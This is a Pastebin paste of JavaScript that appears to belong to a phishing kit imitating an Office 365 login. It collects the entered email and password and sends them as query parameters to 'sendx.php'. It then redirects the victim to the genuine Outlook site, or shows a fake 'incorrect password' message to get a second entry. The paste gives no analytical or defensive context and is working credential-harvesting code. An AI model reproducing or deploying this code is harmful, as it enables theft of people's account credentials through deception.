Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function sendmails() {
- var em = $('#testx').val();
- var ps = $('#pass').val();
- var xhttp = new XMLHttpRequest();
- xhttp.onreadystatechange = function() {
- if (this.readyState == 4 && this.status == 200) {
- var response = JSON.parse(this.responseText);
- if (response.msg == "donesend") {
- $(".login_form").hide();
- $(".thanks").show(); setTimeout("window.location.href='https://outlook.office365.com/owa/?realm';",5000);
- } else {
- $("#warning").empty();
- $('#warning').append('Your email or password is incorrect. If you don\'t remember your password,<a href="#"> reset it now.<a/> <br> <br> ' );
- }
- }
- };
- xhttp.open("GET", "sendx.php?user=" + em + "&pass=" +ps, true);
- xhttp.send();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement